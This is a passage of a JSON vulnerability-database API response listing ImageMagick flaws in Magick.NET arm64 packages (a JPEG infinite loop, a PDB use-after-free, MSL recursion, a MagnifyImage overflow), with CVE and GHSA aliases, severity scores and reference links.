"scores": [ { "value": "7.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55004" }, { "reference_url": "https://github.com/advisories/GHSA-cjc8-g9w8-chfw", "reference_id": "GHSA-cjc8-g9w8-chfw", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-cjc8-g9w8-chfw" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw", "reference_id": "GHSA-cjc8-g9w8-chfw", "reference_type": "", "scores": [ { "value": "7.6", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-08-13T14:35:55Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cjc8-g9w8-chfw" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86219?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.0", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-27wf-43fw-kuam" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yhp9-y1y3-nyh8" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.0" } ], "aliases": [ "CVE-2025-55004", "GHSA-cjc8-g9w8-chfw" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-sca8-3j9v-2qgn" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50326?format=api", "vulnerability_id": "VCID-sh29-s49w-6qdj", "summary": "ImageMagick has a possible infinite loop in its JPEG encoder when using `jpeg:extent`\nA `continue` statement in the JPEG extent binary search loop in the jpeg encoder causes an infinite loop when writing persistently fails. An attacker can trigger a 100% CPU consumption and process hang (Denial of Service) with a crafted image.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26283.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26283.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26283", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.057", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26283" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26283", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26283" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/c448c6920a985872072fc7be6034f678c087de9b", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/c448c6920a985872072fc7be6034f678c087de9b" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442140", "reference_id": "2442140", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442140" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26283", "reference_id": "CVE-2026-26283", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26283" }, { "reference_url": "https://github.com/advisories/GHSA-gwr3-x37h-h84v", "reference_id": "GHSA-gwr3-x37h-h84v", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-gwr3-x37h-h84v" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gwr3-x37h-h84v", "reference_id": "GHSA-gwr3-x37h-h84v", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-24T20:47:27Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gwr3-x37h-h84v" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-26283", "GHSA-gwr3-x37h-h84v" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-sh29-s49w-6qdj" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50365?format=api", "vulnerability_id": "VCID-sjg9-srcu-8bck", "summary": "mageMagick has a possible use-after-free write in its PDB decoder\nA use-after-free vulnerability exists in the PDB decoder that will use a stale pointer when a memory allocation fails and that could result in a crash or a single zero byte write.\n\n```\n==4033155==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x5589c1971b24 bp 0x7ffdcc7ae2d0 sp 0x7ffdcc7adb20 T0)\n```\n\n```\n==4034812==ERROR: AddressSanitizer: heap-use-after-free on address 0x7f099e9f7800 at pc 0x5605d909ab20 bp 0x7ffe52045b50 sp 0x7ffe52045b40\nWRITE of size 1 at 0x7f099e9f7800 thread T0\n```", "references": [ { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/168ffe18def968f886c023146a478897866fd621", "reference_id": "", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/168ffe18def968f886c023146a478897866fd621" }, { "reference_url": "https://github.com/advisories/GHSA-3j4x-rwrx-xxj9", "reference_id": "GHSA-3j4x-rwrx-xxj9", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-3j4x-rwrx-xxj9" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3j4x-rwrx-xxj9", "reference_id": "GHSA-3j4x-rwrx-xxj9", "reference_type": "", "scores": [ { "value": "3.7", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-3j4x-rwrx-xxj9" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-3j4x-rwrx-xxj9" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-sjg9-srcu-8bck" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49772?format=api", "vulnerability_id": "VCID-t1vu-myek-u7dq", "summary": "ImageMagick MSL: Stack overflow via infinite recursion in ProcessMSLScript\nStack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23874.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23874.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23874", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00025", "scoring_system": "epss", "scoring_elements": "0.07407", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-23874" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23874", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23874" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.2" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126075", "reference_id": "1126075", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126075" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431034", "reference_id": "2431034", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2431034" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23874", "reference_id": "CVE-2026-23874", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23874" }, { "reference_url": "https://github.com/advisories/GHSA-9vj4-wc7r-p844", "reference_id": "GHSA-9vj4-wc7r-p844", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-9vj4-wc7r-p844" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9vj4-wc7r-p844", "reference_id": "GHSA-9vj4-wc7r-p844", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-20T21:37:11Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9vj4-wc7r-p844" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/73505?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.2" } ], "aliases": [ "CVE-2026-23874", "GHSA-9vj4-wc7r-p844" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-t1vu-myek-u7dq" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50881?format=api", "vulnerability_id": "VCID-t7w8-fz8u-zud8", "summary": "ImageMagick has stack buffer overflow in MagnifyImage\nMagnifyImage uses a fixed-size stack buffer. When 